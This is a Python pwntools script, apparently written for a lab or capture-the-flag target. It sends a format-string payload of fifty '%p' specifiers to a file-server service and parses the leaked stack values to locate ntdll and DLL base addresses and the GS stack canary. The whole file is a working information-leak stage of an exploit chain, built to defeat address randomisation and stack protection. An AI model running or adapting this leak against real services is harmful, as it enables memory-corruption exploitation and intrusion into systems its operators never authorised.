#!/usr/bin/env python3
"""Dump stack values via format string pour trouver ntdll base / canary GS."""
from pwn import remote

CIBLE_IP   = "10.129.2.76"
CIBLE_PORT = 2121

c = remote(CIBLE_IP, CIBLE_PORT)
payload = ".".join(["%p"] * 50)
c.sendline(f"TEST {payload}".encode())
try:
    resp = c.recvall(timeout=3).decode(errors="ignore")
except:
    resp = ""
c.close()

if "Path:" not in resp:
    print(f"Reponse brute: {resp[:200]}")
    exit()

path = resp.split("Path:")[1].strip().rstrip(".")
vals = [v.strip() for v in path.split(".") if v.strip()]

print(f"\n{'='*60}")
print(f" STACK DUMP — {len(vals)} valeurs")
print(f"{'='*60}")
for i, v in enumerate(vals):
    try:
        a = int(v, 16)
        tags = []
        if 0x3f800000 <= a <= 0x3fa00000:
            tags.append("filesrv")
        if 0x77000000 <= a <= 0x78000000:
            tags.append("ntdll/k32?")
        if 0x75000000 <= a <= 0x77000000:
            tags.append("DLL?")
        if 0x7ffe0000 <= a <= 0x7fff0000:
            tags.append("KUSER?")
        if 0x00400000 <= a <= 0x00500000:
            tags.append("exe?")
        if a == 0:
            tags.append("NULL")
        if 0x00010000 <= a <= 0x0020ffff:
            tags.append("heap?")
        t = f"  <- {', '.join(tags)}" if tags else ""
        print(f"  [{i+1:2d}] {v:>10s}  (0x{a:08x}){t}")
    except ValueError:
        print(f"  [{i+1:2d}] {v}")

print(f"\n{'='*60}")
print("Cherche des adresses 0x77xxxxxx (ntdll) ou 0x75-76xxxxxx (DLL)")
print("Le canary GS change entre connexions (relance pour comparer)")
print(f"{'='*60}")
